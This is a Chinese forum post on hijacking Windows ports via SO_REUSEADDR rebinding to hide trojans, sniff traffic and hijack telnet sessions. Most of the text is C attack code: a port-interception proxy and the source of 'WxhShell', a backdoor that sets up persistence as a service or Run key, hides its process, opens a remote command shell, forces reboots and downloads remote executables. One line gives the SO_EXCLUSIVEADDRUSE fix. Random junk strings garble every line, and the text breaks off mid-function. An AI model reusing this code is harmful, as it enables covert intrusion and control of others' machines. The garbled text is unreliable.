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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: QfmJn((  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B[qzUD*P_n  
!d'GE`w T  
  saddr.sin_family = AF_INET; HsxVZ.dS  
%Wg'i!?cB  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); u+dLaVlLJ  
wDw[RW3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "RedK '7g  
p$O.> [  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 f0!))/rSD  
j*d yp  
  这意味着什么?意味着可以进行如下的攻击: GeI-\F7b  
}#3V+X  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 A4Rug\p]  
Y&`=jDI  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) U1Q:= yD  
}~2LW" 1'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 oL-]3TY~  
q$p%ZefZ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [2>yYr s_=  
^9m\=5d  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ; a/X<  
phQU D  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Fiv3 {.  
^/uA?h:]\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8Pfb~&X^Ws  
&\#sI9  
  #include dW_KU}  
  #include >q#rw  
  #include F7A=GF'  
  #include    *jLJcb*.Ap  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \j+1V1t9  
  int main() |<HPn4 ,X  
  { Ut*`:]la  
  WORD wVersionRequested; UG'Q]S#!  
  DWORD ret; Bz^jw>1b  
  WSADATA wsaData; 6RG)` bu  
  BOOL val; C\\~E9+  
  SOCKADDR_IN saddr; 4Fa~Aog  
  SOCKADDR_IN scaddr; Ua<5U5  
  int err; grS:j+_M2m  
  SOCKET s; k\wW##=v  
  SOCKET sc; !4]T XH0f  
  int caddsize; bhID#&  
  HANDLE mt; YO#M/%^j  
  DWORD tid;   T{Gj+7bQ~  
  wVersionRequested = MAKEWORD( 2, 2 ); DD7h^-x  
  err = WSAStartup( wVersionRequested, &wsaData ); BYpG  
  if ( err != 0 ) { -1 FPkp  
  printf("error!WSAStartup failed!\n"); Y}x>t* I  
  return -1; 1Y/s%L  
  } 3%l*N&gsg:  
  saddr.sin_family = AF_INET; 1=t>HQ  
   wE[]6\_x1  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 e 63uLWDT  
: imW\@u  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); dUsYZdQs  
  saddr.sin_port = htons(23); 7_%"BVb"  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) PbW(%7o(t  
  { %+f>2U4I  
  printf("error!socket failed!\n"); zer%W%  
  return -1; E;,u2[3  
  } x8wD0D  
  val = TRUE; ~s% Md  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 *$yR*}A  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <nE>XAI_7  
  { BZ:H`M`n  
  printf("error!setsockopt failed!\n"); &atuK*W>  
  return -1; LwrUQ)  
  } i8`Vv7LF  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; q'|rgT  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;fsZ7k4]do  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 c0PIc^R(@  
M%Ji0v38  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2-7IJ\  
  { *194{ ep  
  ret=GetLastError(); m4aB*6<lq  
  printf("error!bind failed!\n"); [ad@*KFxy3  
  return -1; 6""G,"B  
  } [ p{#XwN  
  listen(s,2); PRr2F-!P  
  while(1) )#P; x "  
  { +,2:g}5  
  caddsize = sizeof(scaddr); ugo.@   
  //接受连接请求 3x5JFM  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ' qWALu  
  if(sc!=INVALID_SOCKET) W{%TlN  
  { WP?TX b`5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &0='r;*i  
  if(mt==NULL) .Si,dc\  
  { (5#nrF]  
  printf("Thread Creat Failed!\n"); .$Ik`[+Z  
  break; afv~r>q(-  
  } 0ZBJ ~W  
  } :E_g"_  
  CloseHandle(mt); 8dZ0rPd?  
  } T.@aep\"  
  closesocket(s); %1H[Wh(U  
  WSACleanup(); V^JV4 `o  
  return 0; $]{k+Jf  
  }   v5By:z  
  DWORD WINAPI ClientThread(LPVOID lpParam) *RXbc~ H  
  { PE~G=1x3  
  SOCKET ss = (SOCKET)lpParam; LA@w:Fg  
  SOCKET sc; 'XZ) !1N  
  unsigned char buf[4096]; ZT,B(#m  
  SOCKADDR_IN saddr; OlAs'TE^  
  long num; Kz>3 ic$I  
  DWORD val; eln&]d;  
  DWORD ret; ]<H&+ &!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 u:[vaBh91  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   K@#(*."  
  saddr.sin_family = AF_INET; |\U5) ,m  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); %K>.lh@  
  saddr.sin_port = htons(23); F0:A]`|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I =1+h  
  { 1[jb)j1  
  printf("error!socket failed!\n"); t`+'r}=d  
  return -1; `&-Mi[1  
  } TpHfS]W-P  
  val = 100; 7^Ns&Q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qQ0cJIISb\  
  { A?`jnRo=\  
  ret = GetLastError(); ^`G`phd$  
  return -1; ET[k pL  
  } Y_]De3:V0B  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k iRa+w:  
  { $*kxTiG!7  
  ret = GetLastError(); ak:ibV  
  return -1; 1&P<  
  } H6&J;yT}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) me'd6!O9-  
  { XXh6^@H=  
  printf("error!socket connect failed!\n"); YSj+\Z$(  
  closesocket(sc); ^qC;Nh4F  
  closesocket(ss); 1y lk4@`  
  return -1; %/>Y/!;  
  } r YF #^  
  while(1) 8Th` ]tI  
  { iC*F  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 JMVNmq&0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 :Dd$i_3=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !wWJ^Oz=  
  num = recv(ss,buf,4096,0); 5bA)j!#)|X  
  if(num>0) J!5v~<v?-  
  send(sc,buf,num,0); fPR$kc h  
  else if(num==0) 9{$'S 4  
  break; 0v]?6wX  
  num = recv(sc,buf,4096,0); /l{ &iLz[  
  if(num>0) &<+ A((/i  
  send(ss,buf,num,0); /RyR>G!  
  else if(num==0) de]zT^&C  
  break; I(S)n+E  
  } ~l$3uN[g  
  closesocket(ss); 8&Myva  
  closesocket(sc); q|%(3,)ig  
  return 0 ; k64."*X  
  } DaH?@Q  
6O@J7P  
^0#; YOk  
========================================================== ZbT/$\0(6  
NO] 3*  
下边附上一个代码,,WXhSHELL )I\=BPo|B  
h!#:$|Q  
========================================================== =E&OuX-R  
lKkN_ (/j  
#include "stdafx.h" @vMA=v7a  
&wU'p-V  
#include <stdio.h> ?go:e#  
#include <string.h> J>^\oAgpE  
#include <windows.h> 7?v#'Ie s  
#include <winsock2.h> f,z P*  
#include <winsvc.h> c>1RP5vx  
#include <urlmon.h> ,+;:3gRk9  
CAT.4GM  
#pragma comment (lib, "Ws2_32.lib") -B$~`2-  
#pragma comment (lib, "urlmon.lib") >\ u<&>i  
zKFp5H1!%+  
#define MAX_USER   100 // 最大客户端连接数 =H8 xSJLh  
#define BUF_SOCK   200 // sock buffer z5*=MlZ)R.  
#define KEY_BUFF   255 // 输入 buffer )s9',4$eK<  
aS}1Q?cU  
#define REBOOT     0   // 重启 ?4CNkk=v  
#define SHUTDOWN   1   // 关机 H +bdsk  
*[eL~oN.c  
#define DEF_PORT   5000 // 监听端口 `d2,*KR  
XI Jlc~2  
#define REG_LEN     16   // 注册表键长度 @mt0kV9  
#define SVC_LEN     80   // NT服务名长度 <P%}|@  
pbHsR^  
// 从dll定义API Y`6rEA0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); OndhLLz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k#}g,0@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fU2qrcVu  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xKOq[d/8  
k;dXOn  
// wxhshell配置信息 ?yXAu0  
struct WSCFG { 'rb'7=z5  
  int ws_port;         // 监听端口 rSP_:}  
  char ws_passstr[REG_LEN]; // 口令 :`vP}I ^  
  int ws_autoins;       // 安装标记, 1=yes 0=no iO1nwl !#  
  char ws_regname[REG_LEN]; // 注册表键名 DZ ^1s~  
  char ws_svcname[REG_LEN]; // 服务名 HjWq[[Nz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $mA5@O~C5\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n,M)oo1G  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f!t69nd%L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no pN[0YmY#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?lCd{14Mkh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |4Ck;gg!j  
sTHq&(hLUG  
}; \'?#i @O  
qBk``!|s]  
// default Wxhshell configuration ^b?2N/m@  
struct WSCFG wscfg={DEF_PORT, O';ew)tI  
    "xuhuanlingzhe", GgFi9Ffj  
    1, ;eB ~H[S/  
    "Wxhshell", a?cn9i)#  
    "Wxhshell", ?Ce#BwQ>  
            "WxhShell Service", cm>E[SHr  
    "Wrsky Windows CmdShell Service", \ SCy$,m  
    "Please Input Your Password: ", 1ywU@].6J]  
  1, QYE7p\  
  "http://www.wrsky.com/wxhshell.exe", GtI6[ :1t  
  "Wxhshell.exe" NSLVD[yT  
    }; ,i`h x, Rg  
rE!1wc>L  
// 消息定义模块 %.x@gi q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ('o&Q_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; EH9Hpo  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hY \{|  
char *msg_ws_ext="\n\rExit."; +S{  
char *msg_ws_end="\n\rQuit."; \x\.  
char *msg_ws_boot="\n\rReboot..."; .5tg4%l  
char *msg_ws_poff="\n\rShutdown..."; j^u[F"  
char *msg_ws_down="\n\rSave to "; +GNWF% zN  
DR+,Y2!_GT  
char *msg_ws_err="\n\rErr!"; 7t(Y;4<2  
char *msg_ws_ok="\n\rOK!"; E)'8U  
X}JWf<=q  
char ExeFile[MAX_PATH]; x6yW:tUG5  
int nUser = 0; pVokgUrC  
HANDLE handles[MAX_USER]; 0g(6r-2)7  
int OsIsNt; T[Q"}&bB  
[QEwK|!L  
SERVICE_STATUS       serviceStatus; #Q6w+"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3XVk#)lw  
5j [#'3TSU  
// 函数声明 IKm&xzV-  
int Install(void); {OxWcK\2@h  
int Uninstall(void); gL]'B!dGd  
int DownloadFile(char *sURL, SOCKET wsh); a&5g!;.  
int Boot(int flag); ph^4GBR   
void HideProc(void); D!l8l49hLu  
int GetOsVer(void); ep?:;98|t  
int Wxhshell(SOCKET wsl); rF8 hr  
void TalkWithClient(void *cs); F.KrZ3%4iB  
int CmdShell(SOCKET sock); 5EhE`k4  
int StartFromService(void); z>:U{!5k  
int StartWxhshell(LPSTR lpCmdLine); BvJ=iB<E  
{})y^L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2v^lD('  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t,Q'S`eTU  
TzY!D *%z  
// 数据结构和表定义 |Y{PO&-?r  
SERVICE_TABLE_ENTRY DispatchTable[] = h6FgS9H  
{ `E;)`J8b  
{wscfg.ws_svcname, NTServiceMain}, 0WS|~?OR@  
{NULL, NULL} uHrb:X!q  
}; $ 'u \B  
V85.DK!  
// 自我安装 >Fh#DmQ  
int Install(void) ^je528%H  
{ `t9.xB#Z  
  char svExeFile[MAX_PATH]; !&0a<~ Wi  
  HKEY key; GWh|FEqUbf  
  strcpy(svExeFile,ExeFile); 4g'}h`kh  
m9b(3  
// 如果是win9x系统,修改注册表设为自启动 p\ok_*b  
if(!OsIsNt) { '{W3j^m7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /sH0x,V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3 9yz~  
  RegCloseKey(key); #rq?f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X=#It&m%s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }(cY|  
  RegCloseKey(key); 7A[Ogro  
  return 0; My0!=4Any  
    } \086O9  
  } ip674'bq7R  
} mR!rn^<l  
else { u:eW0Ows"  
E7gL~4I  
// 如果是NT以上系统,安装为系统服务 +qZc} 7rJF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u<C $'V  
if (schSCManager!=0) iU,/!IQ  
{ "p`o]$Wv  
  SC_HANDLE schService = CreateService oB3q AP  
  ( 6w@,I;   
  schSCManager, `TkbF9N+  
  wscfg.ws_svcname, h%/ssB  
  wscfg.ws_svcdisp, *n;>p_#  
  SERVICE_ALL_ACCESS, -@#Pc#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !b'IfDp[-!  
  SERVICE_AUTO_START, 4"z;CGE7  
  SERVICE_ERROR_NORMAL, p ^](3Vi(  
  svExeFile, #[Z<=i~C  
  NULL, jB`7T^bU  
  NULL, vD_u[j]  
  NULL, we }#Ru*  
  NULL, >b3@>W  
  NULL ~U/8 @gR  
  ); $>EqH?EQ  
  if (schService!=0) @{'o#EJY  
  { J/L)3y   
  CloseServiceHandle(schService); A}gYcc85Z  
  CloseServiceHandle(schSCManager); ^z38<L=z"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M&eQ=vew.  
  strcat(svExeFile,wscfg.ws_svcname); V;P1nL4L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }Z^FEd"y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9x4wk*z  
  RegCloseKey(key); cxL,]27Bu  
  return 0; j1W bD7*8  
    } %C6|-?TAd  
  } N&x@_t""   
  CloseServiceHandle(schSCManager); >\Z lZ  
} d$4WK)U  
} #)Ep(2  
?`za-+<r<  
return 1; "$# $f  
} Y"r3i]  
rve7YS'  
// 自我卸载 "r:H5) !  
int Uninstall(void) oZ?IR#^  
{ b(g_.1[  
  HKEY key; GH [ U!J  
,oC= {^l{  
if(!OsIsNt) { niXHK$@5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s4^[3|Zrr0  
  RegDeleteValue(key,wscfg.ws_regname); Rc$=+K#  
  RegCloseKey(key); rOs)B21/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8h55$j  
  RegDeleteValue(key,wscfg.ws_regname); n P0Ziu'{  
  RegCloseKey(key); \Mobq  
  return 0; #-l!`\@  
  } dY/|/eOt<K  
} 46QYXmNQ}  
} ,ivWVsN*]  
else { fx8y`8}_  
T2c_vY   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8A`p  
if (schSCManager!=0) ctnAVm  
{ ^EnNbFI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); sa\|"IkD2  
  if (schService!=0) PM#$H  
  { U'f$YVc  
  if(DeleteService(schService)!=0) { Q' OuZKhA  
  CloseServiceHandle(schService); *y":@T  
  CloseServiceHandle(schSCManager); \i&vOH'  
  return 0; j]cXLY  
  } #dxJ#  
  CloseServiceHandle(schService); M ,.0[+  
  } 1{;[q3a  
  CloseServiceHandle(schSCManager); Q"l"p:n%n  
} LOyCx/n  
} "(HA9:  
ai<MsQQ:=  
return 1; /e j/&x15  
} P!>{>r4  
!#_h2a  
// 从指定url下载文件  YiY&; )w  
int DownloadFile(char *sURL, SOCKET wsh) ? bUpK  
{ H L}sqcp  
  HRESULT hr; /: \VwH  
char seps[]= "/"; T9U2j-lA?  
char *token; ;?O883@r8  
char *file; n '0 $>Q  
char myURL[MAX_PATH]; oZ\qT0*eb  
char myFILE[MAX_PATH]; y . ivz  
$jUS[.S_|I  
strcpy(myURL,sURL); S,)|~#5x  
  token=strtok(myURL,seps); 'o#J>a~!9L  
  while(token!=NULL) 8R??J>h5\  
  { 08d_DCR  
    file=token; *]E7}bqb  
  token=strtok(NULL,seps); #$vhC u<I  
  } '%]@a7w  
Wc`J`&#.#  
GetCurrentDirectory(MAX_PATH,myFILE); ,SE$Rh  
strcat(myFILE, "\\"); bCaPJ!ZO  
strcat(myFILE, file); -'p@ lk  
  send(wsh,myFILE,strlen(myFILE),0); 0:B^  
send(wsh,"...",3,0); 9Sj:nn^/u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PhI6dB`  
  if(hr==S_OK) jhEg#Q$  
return 0; M_e$l`"G  
else XnI ;7J  
return 1; |q.:hWYFpM  
~b6<uRnM.  
} ;~gd<KK  
S'-`\%@7  
// 系统电源模块 rM >V=|9,  
int Boot(int flag) 1f pS"_}  
{ eDM0417O(  
  HANDLE hToken; $qUta< o2@  
  TOKEN_PRIVILEGES tkp; : ! iPn%  
5q_OuZ/6  
  if(OsIsNt) { =[)N6XV3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vb"dX0)<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D>7_P7]y  
    tkp.PrivilegeCount = 1; ?"8A^ ^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %d[xr h  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $Z%aGc*  
if(flag==REBOOT) { EAd:`X,Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) % 6hw  
  return 0; 3Gd&=IJ  
} _hyxKrm' 6  
else { /jn3'q_,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5fx,rtY2sQ  
  return 0; ,nChwEn  
} &<P^Tvqq&  
  } .iN*V|n  
  else { jme5'FR  
if(flag==REBOOT) { L|1zHDxQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?6YUb;  
  return 0; dbUZGn~  
} -J7,Nw  
else { pn%|;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \y )4`A  
  return 0; y" 6~9j  
} )4_6\VaM  
} hCvLwZ?LF  
Ce'2lo  
return 1; %V1T !<  
} Q.2nUT`  
y3[)zv  
// win9x进程隐藏模块 5F sj_wFk  
void HideProc(void) a={qA4N  
{ / >. X+N  
Qp{-!*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ww tQ>'R"  
  if ( hKernel != NULL ) 9egaN_K  
  { f uN XY-;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); UG'U D"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,Ve@=<  
    FreeLibrary(hKernel); v_h*:c  
  } J$/BH\  
@OY-(cW  
return; eL?si!ZL^  
} OHnjI> /  
EEZ2Gu6c  
// 获取操作系统版本 Q!e0Vb  
int GetOsVer(void) UYrzsUjg&  
{ ^QQ NJ  
  OSVERSIONINFO winfo; {bW3%iU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _";pk  _  
  GetVersionEx(&winfo); 6%INNIyAWa  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Hf{%N'4  
  return 1; T>%ny\?tHW  
  else xLK0~|_#!  
  return 0; eniR}  
} l'%R^  
l{o{=]x1  
// 客户端句柄模块 !D&MJThNy  
int Wxhshell(SOCKET wsl)  iPO S  
{ `#8R+c=$  
  SOCKET wsh; K.1yncS^  
  struct sockaddr_in client; Hbc&.W;g7[  
  DWORD myID; s;WCz  
N`6|Y  
  while(nUser<MAX_USER) <uwCP4E  
{ K61os&K  
  int nSize=sizeof(client); jUSr t)o03  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /-4B)mL  
  if(wsh==INVALID_SOCKET) return 1; AK?j1Pk  
7zZ|=W?&{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dKpa5f7  
if(handles[nUser]==0) 1^^D :tt  
  closesocket(wsh); A'(F%0NF6  
else Vp{2Z9]}  
  nUser++; Nb/%>3O@  
  } r/L]uSN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &~f_1<  
53 05N!  
  return 0; S\!E;p  
} gj X1b2  
7b2<, .E  
// 关闭 socket V/}8+Xq  
void CloseIt(SOCKET wsh) %([H*sLX  
{ mP[u[|]  
closesocket(wsh); cSk}53  
nUser--; V7_??L%Ct`  
ExitThread(0); p n>`v   
} TeqsP1{?  
K*FAngIB  
// 客户端请求句柄 e|yuPd  
void TalkWithClient(void *cs) V1A3l{>L  
{ -;"l 5oX  
5wX>PJS  
  SOCKET wsh=(SOCKET)cs; epyfgg MT  
  char pwd[SVC_LEN]; P$I\)Q H  
  char cmd[KEY_BUFF]; Zh^w)}(W  
char chr[1]; e*H$c?7NL  
int i,j; hhhO+D1(  
sc60:IxgI  
  while (nUser < MAX_USER) { UXHFti/A<  
[=+/  
if(wscfg.ws_passstr) { xK3;/!\`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n]Y _C^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sXu+F2O  
  //ZeroMemory(pwd,KEY_BUFF); T 1=M6iJ  
      i=0; Z]BR Mx  
  while(i<SVC_LEN) { h[T3WE  
qE{S'XyM,  
  // 设置超时 BYU.ptiJJ  
  fd_set FdRead; G2D<LRWt4  
  struct timeval TimeOut; 8t%1x|!  
  FD_ZERO(&FdRead); @4$E.q<0  
  FD_SET(wsh,&FdRead); ^h=kJR9  
  TimeOut.tv_sec=8; n} {cs  
  TimeOut.tv_usec=0; 's<}@-]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 46~ug5gV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F1>,^qyG6  
jQ*Qh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `2B+8,{%  
  pwd=chr[0]; '! (`?  
  if(chr[0]==0xd || chr[0]==0xa) { ^MUM04l  
  pwd=0; 2uIAnbW]M  
  break; =xoTH3/,>  
  } zdCt#=QV?R  
  i++; nj mE>2  
    } zYgLGwi{  
8@-US , |  
  // 如果是非法用户,关闭 socket .+yJ'*i$d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -|mABHjx*  
} P; Ox|  
<vs.Ucxx  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Cb.Aw!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3$Je,|bs  
{`VQL6(i  
while(1) { &!ZpBR(  
x>cu<,e$d\  
  ZeroMemory(cmd,KEY_BUFF); a'BBp6  
("Zi,3"+  
      // 自动支持客户端 telnet标准   I,D=ixK  
  j=0; 2;/hFwm  
  while(j<KEY_BUFF) { Eq t61O$x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m`Z4#_s2  
  cmd[j]=chr[0]; /-T%yuU  
  if(chr[0]==0xa || chr[0]==0xd) { y03l_E,  
  cmd[j]=0; EOL03N   
  break; 4"{q|~&=:$  
  } 5gGr|d|(  
  j++; ~F WmT(S  
    } ~c4Y*]J  
BtspnVB ez  
  // 下载文件 %uKD cj  
  if(strstr(cmd,"http://")) { &A~1Q#4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [30e>bSf`  
  if(DownloadFile(cmd,wsh)) m9/a!|fBE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); I8m(p+Z=  
  else '2NeuK-KD  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QeGU]WU{  
  } 46b.= }  
  else { 4R6X"T9-  
fYwumx`J  
    switch(cmd[0]) { k,2% %m  
  _v-sb(* J  
  // 帮助 "YivjHa7H  
  case '?': { &kP>qTI^p~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jk~< si  
    break; bcQ$S;U)  
  } 7JbN WN  
  // 安装 p0Vw@R=  
  case 'i': { cB|](gWS~  
    if(Install()) 56fcifXz@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IlH*s/  
    else dme_Ivt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |KuH2, n0  
    break; >scEdeM  
    } ss*dM.b  
  // 卸载 1&U U6|X  
  case 'r': { C@xh$(y  
    if(Uninstall()) ;#AV~Y- s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HH^eEh4g  
    else B7cXbUAQs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j#29L"  
    break; f)>=.sp  
    } RK|C*TCnl  
  // 显示 wxhshell 所在路径 t'^/}=c-  
  case 'p': { U\+o$mU^  
    char svExeFile[MAX_PATH]; 9%|!+!j  
    strcpy(svExeFile,"\n\r"); tv5SQ+AI3  
      strcat(svExeFile,ExeFile); =^NR(:SaaU  
        send(wsh,svExeFile,strlen(svExeFile),0); t|1?mH9  
    break; ='a$>JVJ5  
    } 60Y&)UR  
  // 重启 oTZNW  
  case 'b': { |[8&5[);  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -r[l{ce  
    if(Boot(REBOOT)) M*|x,K=U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ve<l7U;  
    else { MC^H N w  
    closesocket(wsh); P/4]x@{ih  
    ExitThread(0); OQA}+XO  
    } Dr&2q X!  
    break; 2]hQ56Yv3  
    } ml\A)8O]j/  
  // 关机 (z#qkKL{^  
  case 'd': { {U>B\D  
